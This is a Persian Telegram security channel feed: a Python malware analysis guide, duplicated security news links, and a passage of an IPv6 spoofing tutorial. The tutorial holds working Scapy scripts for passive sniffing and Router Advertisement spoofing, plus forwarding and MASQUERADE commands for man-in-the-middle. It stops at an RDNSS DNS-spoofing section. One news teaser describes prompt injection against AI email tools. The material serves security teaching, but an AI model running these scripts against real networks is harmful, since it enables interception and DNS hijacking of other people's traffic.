تحلیل بدافزار پایتونی یک فرآیند چند مرحلهای است که نیازمند ترکیبی از ابزارهای مختلف و دو رویکرد اصلی تحلیل استاتیک و تحلیل دینامیک است.
۱. استخراج کامل محتویات
اولین قدم استخراج محتویات فایل اجرایی است که با ابزار pyinstXtractor به درستی انجام میشود. پس از اجرای این ابزار، شما یک پوشه جدید خواهید داشت که حاوی چندین فایل و کتابخانه است. مهمترین فایلها برای ما، آنهایی هستند که پسوند .pyc دارند. اینها نسخههای کامپایلشده کدهای پایتون هستند.
۲. حالا باید فایلهای pyc را به کد پایتون قابل خواندن تبدیل کنید. ابزارهای مختلفی برای این کار وجود دارد که بهترین آنها عبارتند از:
۔uncompyle6: یکی از محبوبترین و قدرتمندترین ابزارها برای این کار است.
۔pycdc: ابزار دیگری که به زبان C++ نوشته شده و سرعت بالایی دارد.
نکته مهم: ممکن است دیکامپایلر نتواند کد را به صورت ۱۰۰٪ کامل و بینقص بازگردانی کند، خصوصاً اگر کد مبهمسازی (obfuscation) شده باشد. اما در اکثر موارد، کد حاصل به اندازه کافی برای تحلیل خوانا خواهد بود.
۳. تحلیل استاتیک (Static Analysis)
در این مرحله، شما کد پایتون به دست آمده را بدون اجرا کردن آن بررسی میکنید. هدف، درک عملکرد بدافزار از روی سورس کد آن است. به دنبال موارد زیر بگردید:
* کتابخانههای مشکوک: به import های ابتدای کد دقت کنید. کتابخانههایی مانند:
۔* os, subprocess, shutil: برای تعامل با سیستم عامل، اجرای دستورات و دستکاری فایلها.
۔* socket, requests, urllib: برای برقراری ارتباطات شبکهای (مثلاً ارسال اطلاعات به سرور مهاجم).
۔* pynput, keyboard: برای ضبط کلیدهای فشرده شده (Keylogger).
۔* cryptography, pycryptodome: برای رمزنگاری فایلها (که در باجافزارها استفاده میشود).
۔* threading: برای اجرای همزمان چندین عملیات مخرب.
* کدهای مبهمسازی شده (Obfuscated Code): بدافزارنویسها اغلب کدهای خود را پیچیده میکنند تا تحلیل آن دشوار شود. به دنبال موارد زیر باشید:
* استفاده زیاد از توابع eval() و exec() که رشتهها را به عنوان کد اجرا میکنند.
* متغیرها و رشتههای کدگذاری شده با Base64, Hex یا الگوریتمهای دیگر.* نامهای بیمعنی برای متغیرها و توابع (مثلاً a1, b2, o).
* عملکردهای کلیدی: سعی کنید منطق اصلی برنامه را بفهمید.
* آیا به فایلهای خاصی دسترسی پیدا میکند؟ (مثلاً فایلهای شخصی در دسکتاپ یا پوشه Documents)
* آیا در رجیستری ویندوز تغییری ایجاد میکند تا به صورت پایدار در سیستم باقی بماند (Persistence)؟
* آیا به آدرس IP یا دامنهی خاصی متصل میشود؟ (این آدرسها را استخراج کنید).
* آیا خودش را کپی میکند یا فایلهای دیگری را دانلود و اجرا میکند؟
۴. تحلیل دینامیک (Dynamic Analysis)
در این مرحله، بدافزار را در یک محیط ایزوله و امن (Sandbox) اجرا کرده و رفتار آن را زیر نظر میگیرید. هرگز بدافزار را روی سیستم اصلی خود اجرا نکنید!
راهاندازی محیط ایزوله
* از یک ماشین مجازی (Virtual Machine) مانند VirtualBox یا VMware استفاده کنید.
* مطمئن شوید که ماشین مجازی به شبکه اصلی شما دسترسی ندارد یا دسترسی آن محدود است (مثلاً از طریق تنظیمات شبکه NAT).
* از قابلیت Snapshot در ماشین مجازی استفاده کنید تا بتوانید پس از هر بار اجرای بدافزار، به راحتی سیستم را به حالت اولیه بازگردانید.
* ابزارهای مانیتورینگ: قبل از اجرای بدافزار، ابزارهای زیر را در ماشین مجازی خود آماده کنید:
۔* Process Monitor (ProcMon)): برای مشاهده تمام فعالیتهای مربوط به فایلها، رجیستری و فرآیندهای ایجاد شده توسط بدافزار.
۔* Wireshark: برای شنود و تحلیل ترافیک شبکه. ببینید بدافزار به چه آدرسهایی متصل میشود و چه اطلاعاتی را ارسال یا دریافت میکند.
۔* RegShot: برای مقایسه وضعیت رجیستری قبل و بعد از اجرای بدافزار و شناسایی تغییرات.
اجرا و مشاهده
1. یک Snapshot از ماشین مجازی خود بگیرید.
2. ابزارهای مانیتورینگ را اجرا کنید.
3. فایل بدافزار را اجرا کنید.
4. اجازه دهید چند دقیقه کار کند و رفتار آن را زیر نظر بگیرید.
5. ترافیک شبکه، فایلهای ایجاد/حذف/ویرایش شده و تغییرات رجیستری را تحلیل کنید.
6. پس از پایان تحلیل، ماشین مجازی را به Snapshot قبلی برگردانید.
@NullError_ir 📢
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - extremecoders-re/pyinstxtractor: PyInstaller Extractor
PyInstaller Extractor. Contribute to extremecoders-re/pyinstxtractor development by creating an account on GitHub.
ورژن RF Analyzer 2.0 منتشر شد:
برنامه اندروید سازگار با RTL-SDR
این برنامه رایگان نیست، اما قیمت آن فقط چند دلار است و یک دوره آزمایشی رایگان ۷ روزه با محدودیت زمانی ۶۰ دقیقه دارد
@NullError_ir 📢
Please open Telegram to view this post
VIEW IN TELEGRAM
Google Play
RF Analyzer - Apps on Google Play
Analyze RF signals on Android with HackRF, RTL-SDR, Airspy and HydraSDR.
❏ </Mr. SAM/> ❏
░▒▓█ hackday █▓▒░
ESP32 Sets Sail as a Modern Bus Pirate Powerhouse
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ hackday █▓▒░
ESP32 Sets Sail as a Modern Bus Pirate Powerhouse
🔗 ➢➣➤ More ...
@NullError_ir 📢
Hackaday
ESP32 Sets Sail As A Modern Bus Pirate Powerhouse
Bus Pirate is nearly a household name in the hardware hacking world. The first version came out way back in 2008, and there have been several revisions since then. You can buy pre-built Bus Pirate …
❏ </Mr. SAM/> ❏
░▒▓█ SANS █▓▒░
Reading Location Position Value in Microsoft Word Documents, (Mon, Aug 25th)
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ SANS █▓▒░
Reading Location Position Value in Microsoft Word Documents, (Mon, Aug 25th)
🔗 ➢➣➤ More ...
@NullError_ir 📢
SANS Internet Storm Center
Reading Location Position Value in Microsoft Word Documents
Reading Location Position Value in Microsoft Word Documents, Author: Jesse La Grew
❏ </Mr. SAM/> ❏
░▒▓█ SANS █▓▒░
ISC Stormcast For Monday, August 25th, 2025 https://isc.sans.edu/podcastdetail/9584, (Mon, Aug 25th)
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ SANS █▓▒░
ISC Stormcast For Monday, August 25th, 2025 https://isc.sans.edu/podcastdetail/9584, (Mon, Aug 25th)
🔗 ➢➣➤ More ...
@NullError_ir 📢
SANS Internet Storm Center
ISC Stormcast For Monday, August 25th, 2025 https://isc.sans.edu/podcastdetail/9584
ISC Stormcast For Monday, August 25th, 2025 https://isc.sans.edu/podcastdetail/9584, Author: Johannes Ullrich
❏ </Mr. SAM/> ❏
░▒▓█ hackday █▓▒░
RP2040 Assembly Language Mix and Match
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ hackday █▓▒░
RP2040 Assembly Language Mix and Match
🔗 ➢➣➤ More ...
@NullError_ir 📢
Hackaday
RP2040 Assembly Language Mix And Match
[David] is building a project with an OLED, a keyboard, and an RP2040. He’s perfected a scanning routine in C to work with the keyboard, but he still had some places he wanted to use even low…
❏ </Mr. SAM/> ❏
░▒▓█ cybersecurity █▓▒░
New Microsoft 365 Admin Feature Let Admins Control Link Creation Policies
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ cybersecurity █▓▒░
New Microsoft 365 Admin Feature Let Admins Control Link Creation Policies
🔗 ➢➣➤ More ...
@NullError_ir 📢
Cyber Security News
New Microsoft 365 Admin Feature Let Admins Control Link Creation Policies
Microsoft is rolling out a significant new administrative control feature in mid-September 2025 that will enable IT administrators to manage organization-wide sharing permissions for user-built Copilot agents.
❏ </Mr. SAM/> ❏
░▒▓█ cyberguy █▓▒░
Sam’s Club $100 reward email scam alert
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ cyberguy █▓▒░
Sam’s Club $100 reward email scam alert
🔗 ➢➣➤ More ...
@NullError_ir 📢
❏ </Mr. SAM/> ❏
░▒▓█ تاکیان █▓▒░
هوش مصنوعی ایمیلهای شما را برای هکرها میخواند
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ تاکیان █▓▒░
هوش مصنوعی ایمیلهای شما را برای هکرها میخواند
🔗 ➢➣➤ More ...
@NullError_ir 📢
www.takian.net
هوش مصنوعی ایمیلهای شما را برای هکرها میخواند
محققان امنیتی از یک روش حمله جدید و بسیار پیچیده پردهبرداری کردهاند که با استفاده از تکنیکی به نام "تزریق پرامپت" (Prompt Injection)، ابزارهای هوش مصنوعی (AI) متصل به جیمیل را به جاسوسانی برای سرقت اطلاعات تبدیل میکند.
❏ </Mr. SAM/> ❏
░▒▓█ infosecwriteups █▓▒░
Recon Roulette: Spinning Old Subdomains into a Fresh Critical Takeover
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ infosecwriteups █▓▒░
Recon Roulette: Spinning Old Subdomains into a Fresh Critical Takeover
🔗 ➢➣➤ More ...
@NullError_ir 📢
Medium
Recon Roulette: Spinning Old Subdomains into a Fresh Critical Takeover
Hey there!😁
❏ </Mr. SAM/> ❏
░▒▓█ cybersecurity █▓▒░
PoC Exploit & Vulnerability Analysis Released for Apple 0-Day RCE Vulnerability
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ cybersecurity █▓▒░
PoC Exploit & Vulnerability Analysis Released for Apple 0-Day RCE Vulnerability
🔗 ➢➣➤ More ...
@NullError_ir 📢
Cyber Security News
PoC Exploit & Vulnerability Analysis Released for Apple 0-Day RCE Vulnerability
A detailed proof-of-concept exploit and comprehensive vulnerability analysis has been released for CVE-2025-43300, a critical zero-click remote code execution flaw affecting Apple's image processing infrastructure.
❏ </Mr. SAM/> ❏
░▒▓█ افتانا █▓▒░
وعده رفع فیلتر پلتفرمها تا پایان امسال
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ افتانا █▓▒░
وعده رفع فیلتر پلتفرمها تا پایان امسال
🔗 ➢➣➤ More ...
@NullError_ir 📢
AFTANA.ir
وعده رفع فیلتر پلتفرمها تا پایان امسال
معاون ارتباطات و اطلاعرسانی دفتر رئیسجمهور اعلام کرد که دولت در انتظار توافق با چند دستگاه است تا اکثر پلتفرمها را تا پایان سال رفع فیلتر کند.
❏ </Mr. SAM/> ❏
░▒▓█ infosecwriteups █▓▒░
“Day 12: The Rate Limit Paradox — How I Weaponized API Protections for a $500 DoS Bug”
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ infosecwriteups █▓▒░
“Day 12: The Rate Limit Paradox — How I Weaponized API Protections for a $500 DoS Bug”
🔗 ➢➣➤ More ...
@NullError_ir 📢
Medium
“Day 12: The Rate Limit Paradox — How I Weaponized API Protections for a $500 DoS Bug”
Turning Security Features Into Attack Vectors Through Creative Abuse
❏ </Mr. SAM/> ❏
░▒▓█ cybersecurity █▓▒░
Happy Birthday Linux! Powering Numerous Devices Across the Globe for 34 Years
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ cybersecurity █▓▒░
Happy Birthday Linux! Powering Numerous Devices Across the Globe for 34 Years
🔗 ➢➣➤ More ...
@NullError_ir 📢
Cyber Security News
Happy Birthday Linux! Powering Numerous Devices Across the Globe for 34 Years
On August 25, 2025, the world celebrates the 34th anniversary of Linux, marking one of the most significant milestones in computing history.
❏ </Mr. SAM/> ❏
░▒▓█ SecurityWeek █▓▒░
Farmers Insurance Data Breach Impacts Over 1 Million People
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ SecurityWeek █▓▒░
Farmers Insurance Data Breach Impacts Over 1 Million People
🔗 ➢➣➤ More ...
@NullError_ir 📢
SecurityWeek
Farmers Insurance Data Breach Impacts Over 1 Million People
Farmers New World Life Insurance and Farmers Group have filed separate data breach notifications with state authorities.
❏ </Mr. SAM/> ❏
░▒▓█ افتانا █▓▒░
سوءاستفاده Murky Panda از اعتماد مشتریان به سرویسهای ابری
🔗 ➢➣➤ More ...
@NullError_ir 📢
░▒▓█ افتانا █▓▒░
سوءاستفاده Murky Panda از اعتماد مشتریان به سرویسهای ابری
🔗 ➢➣➤ More ...
@NullError_ir 📢
AFTANA.ir
سوءاستفاده Murky Panda از اعتماد مشتریان به سرویسهای ابری
گروه هکری چینیMurky Panda که با نامهای دیگر مانند Silk Typhoon و Hafnium هم شناخته میشوند از روابط مورد اعتماد در محیطهای ابری برای دسترسی اولیه به شبکهها و دادههای مشتریان سوءاستفاده میکند.
شاهراهی برای نفوذگران (IPv6) راهنمای جامع حملات جعل هویت
امنیت IPv6 اخیراً به یک موضوع حیاتی تبدیل شده است. در این نوشته، به بررسی حملات رایج در شبکههای IPv6 و روشهای مقابله با آنها خواهیم پرداخت.
مقدمه
اگرچه IPv6 هنوز در همهجا پیادهسازی نشده، اما اکثر سیستمعاملهای مدرن آن را به صورت پیشفرض فعال دارند. این وضعیت در شبکههای سازمانی اغلب به ایجاد آسیبپذیریهای پنهان منجر میشود: حتی اگر شبکه رسماً فقط از IPv4 استفاده کند، سیستمهای ویندوزی به طور پیشفرض IPv6 را ترجیح میدهند و به صورت دورهای درخواست تنظیمات IPv6 را ارسال میکنند.
مهاجمان میتوانند از ماهیت مبتنی بر اعتماد پروتکلهای IPv6 برای اجرای حملات در شبکه محلی سوءاستفاده کنند. حملات جعل هویت (Spoofing) بهویژه خطرناک هستند، جایی که مهاجم هویت یک دستگاه قانونی در شبکه را جعل کرده یا با تزریق بستههای جعلی، حملات مرد میانی (MITM) و جعل DNS را در شبکه محلی اجرا میکند.
سلب مسئولیت
این نوشته ماهیت آموزشی داشته و صرفاً برای متخصصان امنیت اطلاعات که در چارچوب قراردادهای قانونی فعالیتهای آزمون نفوذ انجام میدهند، تهیه شده است. نویسنده و وبسایت و منتشر کننده هیچگونه مسئولیتی در قبال خسارات ناشی از استفاده از اطلاعات این نوشته را ندارند. توزیع بدافزار، اختلال در سیستمها و نقض حریم خصوصی مکاتبات، خلاف قانون بوده و میتواند منجر به پیگرد کیفری شود.
آشنایی با مفاهیم پایهی IPv6
هر دستگاهی که IPv6 روی آن فعال باشد، به طور خودکار یک آدرس link-local از رنج
fe80::/10 دریافت میکند. این آدرس بدون نیاز به سرور DHCPv6 یا پیشوندهای سراسری (Global Prefix) ساخته میشود و برای عملکرد پروتکلهای کلیدی لایه پایین مانند SLAAC, NDP, RA و RS ضروری است.آدرسهای Link-local تنها در یک سگمنت لایه ۲ (L2) معتبر هستند و به خارج از آن مسیریابی نمیشوند. با این حال، در داخل همان سگمنت، این آدرسها شناسه اصلی دستگاهها در ترافیک سرویس IPv6 محسوب میشوند.
این یعنی:
سرورهای DHCPv6، روترها، کلاینتها و مهاجمان، همگی با استفاده از آدرسهای
fe80::/10 با یکدیگر تبادل پیام میکنند.هر دستگاهی که یک بسته RA (Router Advertisement) یا NA (Neighbor Advertisement) دریافت کند، آدرس link-local فرستنده را به عنوان منبع مسیر، گیتوی یا سرور DNS ثبت میکند.
مهاجمی که آدرس
fe80:: خود را میداند، میتواند بدون اطلاع از پیشوند سراسری شبکه، بستههای RA را جعل کرده و خود را به عنوان گیتوی یا سرور DNS جا بزند.بنابراین، آدرس link-local در IPv6 یک شناسه لایه ۲ حیاتی است که دانستن آن برای اکثر حملات جعل هویت در شبکه محلی ضروری است.
جادوی Multicast
در شبکههای IPv4، از ترافیک Broadcast برای شناسایی میزبانها در یک سگمنت استفاده میشد (مانند درخواستهای ARP). در IPv6، مفهوم Broadcast حذف و با گروههای Multicast جایگزین شده است. یعنی به جای ارسال بستهها به تمام میزبانها، دستگاهها به گروههای خاصی گوش میدهند.
۔*
ff02::1 – آدرس All-nodes multicast: آدرسی برای تمام دستگاههای موجود در سگمنت محلی. هر دستگاهی که IPv6 روی آن فعال باشد، به طور خودکار عضو این گروه است.۔*
ff02::2 – آدرس All-Routers Multicast: آدرسی برای تمام روترهای موجود در سگمنت محلی. روترها موظف به پذیرش بستههای ارسالی به این آدرس هستند.این مکانیزم به مهاجم اجازه میدهد تا بدون دانستن آدرس تکتک دستگاهها، با تمام میزبانها یا روترها به طور همزمان تعامل داشته باشد. این قابلیت در موارد زیر کاربرد دارد:
جمعآوری اطلاعات درباره شبکه
حملات مربوط به جعل RA (Router Advertisement)
ربودن DNS از طریق RDNSS
شنود پنهانی در شبکه: هنر جمعآوری اطلاعات با NDP
این یک تکنیک فوقالعاده کاربردی برای جمعآوری اطلاعات در شبکههای IPv6 است. البته میتوانیم با ارسال پینگ Multicast به
ff02::1 و ff02::2 میزبانها و روترها را پیدا کنیم، اما این روش بسیار پر سر و صدا و قابل شناسایی است.یک روش بسیار جذابتر، شناسایی غیرفعال میزبانها (Passive Host Detection) از طریق تحلیل ترافیک عبوری است. ما میتوانیم با گوش دادن به پروتکلهای کلیدی مانند NDP, SLAAC, DHCPv6 و MLD، میزبانهای فعال را شناسایی کرده و ساختار شبکه را درک کنیم.
ساخت یک شنودگر (Sniffer) سفارشی
میتوان فرآیند تحلیل این ترافیک را با یک اسکریپت پایتون کوچک و کتابخانه Scapy خودکار کرد:
@NullError_ir 📢
Please open Telegram to view this post
VIEW IN TELEGRAM
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
DHCP6_TYPES = {
DHCP6_Solicit: "Solicit",
DHCP6_Advertise: "Advertise",
DHCP6_Request: "Request",
DHCP6_Reply: "Reply",
DHCP6_Renew: "Renew",
DHCP6_Rebind: "Rebind",
DHCP6_RelayForward: "Relay-Forward",
DHCP6_RelayReply: "Relay-Reply"
}
ICMP6_TYPES = {
ICMPv6ND_RS: ("ICMPv6 - Router Solicitation", Fore.CYAN),
ICMPv6ND_RA: ("ICMPv6 - Router Advertisement", Fore.GREEN),
ICMPv6ND_NS: ("ICMPv6 - Neighbor Solicitation", Fore.BLUE),
ICMPv6ND_NA: ("ICMPv6 - Neighbor Advertisement", Fore.MAGENTA),
ICMPv6ND_Redirect: ("ICMPv6 - Redirect", Fore.LIGHTRED_EX),
ICMPv6MLReport: ("ICMPv6 - MLD Report", Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ("ICMPv6 - MLD Report", Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ("ICMPv6 - MLD Done", Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest: ("ICMPv6 - Echo Request", Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ("ICMPv6 - Echo Reply", Fore.LIGHTBLACK_EX)
}
def handle(pkt):
eth_src = pkt[Ether].src if Ether in pkt else "?"
eth_dst = pkt[Ether].dst if Ether in pkt else "?"
ip6_src = pkt[IPv6].src if IPv6 in pkt else "?"
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else "?"
# ICMPv6 Detection
for proto, (desc, color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
# DHCPv6 Detection
if UDP in pkt and pkt[UDP].dport == 547:
for dhcp_type, name in DHCP6_TYPES.items():
if dhcp_type in pkt:
desc = f"DHCPv6 - {name}"
color = Fore.YELLOW
break
else:
return
else:
return
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"{Style.DIM} MAC {eth_src} -> {eth_dst}")
print(f"{Style.DIM} IPv6 {ip6_src} -> {ip6_dst}")
print(Style.RESET_ALL + "-" * 60)
if __name__ == "__main__":
parser = argparse.ArgumentParser(denoscription="IPv6 NDP & DHCPv6 Sniffer")
parser.add_argument("-i", "--interface", required=True, help="Interface to sniff on")
parser.add_argument("-t", "--time", type=int, default=0, help="Sniff duration (0 = infinite)")
args = parser.parse_args()
print(Fore.LIGHTWHITE_EX + f"[*] Sniffing on {args.interface} for {args.time or '∞'} seconds...\n")
sniff(iface=args.interface, prn=handle, timeout=args.time or None, store=0)
این شنودگر به طور غیرفعال به پروتکلهای کلیدی IPv6 گوش میدهد و اطلاعات مفیدی مانند آدرسهای MAC، آدرسهای IPv6 و نوع پیامها را نمایش میدهد. با تحلیل خروجی این ابزار، میتوان بدون نیاز به اسکن فعال، دادههای ارزشمندی از شبکه جمعآوری کرد.
حمله جعل هویت روتر (RA Spoofing)
در این حمله، مهاجم بستههای جعلی Router Advertisement (RA) را به سگمنت محلی ارسال کرده و وانمود میکند که یک روتر است. این کار به او اجازه میدهد تا یک پیشوند IPv6 جعلی معرفی کرده و خود را به عنوان گیتوی پیشفرض (Default Gateway) برای تمام میزبانها تحمیل کند.
مهمترین پارامتر در این حمله
routerlifetime است. این پارامتر به میزبان میگوید که فرستنده RA را برای چند ثانیه به عنوان یک روتر معتبر در نظر بگیرد.اگر
routerlifetime=0 باشد، میزبان مسیر خود از طریق آن گیتوی را حذف میکند.اگر
routerlifetime=1800 باشد، میزبان تا ۳۰ دقیقه مهاجم را به عنوان گیتوی پیشفرض میپذیرد.اسکریپت تزریقکننده (Injector)
اسکریپت زیر یک حمله پایهای RA Spoofing را پیادهسازی میکند:
@NullError_ir 📢
#!/usr/bin/env python3
from scapy.all import *
import argparse
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", required=True, help="Network interface (e.g., eth0)")
parser.add_argument("-m", "--mac", required=True, help="Spoofed MAC address to include in the RA")
parser.add_argument("--llip", required=True, help="Your link-local IPv6 address")
parser.add_argument("-l", "--lifetime", type=int, default=1800, help="Router Lifetime in seconds (default: 1800)")
parser.add_argument("--interval", type=int, default=5, help="Interval between packets (default: 5 seconds)")
parser.add_argument("--revert", action="store_true", help="Send RA with router lifetime = 0 to remove route")
args = parser.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = IPv6(src=args.llip, dst="ff02::1", hlim=255) / \
ICMPv6ND_RA(routerlifetime=lifetime) / \
ICMPv6NDOptSrcLLAddr(lladdr=args.mac)
mode = "REVERT" if args.revert else "SPOOF"
print(f"[+] Sending {mode} RA on {args.interface}")
print(f" Source LL IP: {args.llip}")
print(f" MAC: {args.mac}")
print(f" Lifetime: {lifetime}s")
print(f" Interval: {args.interval}s")
send(ra, iface=args.interface, loop=1, inter=args.interval)
if __name__ == "__main__":
main()
نحوه اجرا:
sudo python3 RA.py --interface eth0 --mac 00:50:00:00:01:00 --lifetime 300 --interval 5 --llip fe80:250:ff:fe00:100
پس از اجرای این حمله، آدرس link-local مهاجم به عنوان گیتوی پیشفرض در سطح IPv6 روی سیستم قربانی تنظیم میشود و تمام ترافیک او از طریق ماشین مهاجم عبور خواهد کرد.
چالشهای مسیریابی: از کار انداختن شبکه قربانی!
یک اشتباه رایج در اجرای RA Spoofing، نادیده گرفتن تنظیمات مسیریابی در سمت مهاجم است. حتی اگر قربانی RA جعلی شما را بپذیرد، ترافیک او به سمت شما میآید، اما اگر شما نتوانید آن را به درستی به مقصد برسانید و پاسخ را برگردانید، اتصال قربانی قطع میشود\!
برای جلوگیری از این فاجعه، باید مسیریابی (forwarding) را روی سیستم خود فعال کنید:
# فعالسازی forwarding برای IPv6
sudo sysctl -w net.ipv6.conf.all.forwarding=1
# اجازه عبور ترافیک در فایروال
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
# حل مشکل بازگشت ترافیک با Masquerading
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
دستور آخر (MASQUERADE) آدرس IPv6 مبدأ بستههای خروجی را با آدرس مهاجم جایگزین میکند. این کار تضمین میکند که پاسخها از اینترنت به ماشین شما بازگردند و شما بتوانید آنها را به قربانی تحویل دهید.
حمله جعل سرور DNS با RDNSS
گزینه RDNSS (Recursive DNS Server) مکانیزمی است که به روتر اجازه میدهد آدرس سرورهای DNS را مستقیماً از طریق بستههای RA به کلاینتها ارسال کند، بدون نیاز به DHCPv6.
نقطه حمله:
مهاجم بستههای RA حاوی آدرس یک سرور DNS جعلی (که خودش است) را ارسال میکند. کلاینتهایی که از RDNSS پشتیبانی میکنند (اکثر سیستمعاملهای مدرن مانند ویندوز ۱۰ و ۱۱)، این آدرس را پذیرفته و تمام درخواستهای DNS خود را به سمت مهاجم ارسال میکنند. این کار به مهاجم کنترل کامل بر ترجمه نامهای دامنه در شبکه را میدهد.
اسکریپت حمله RDNSS Spoofing
@NullError_ir 📢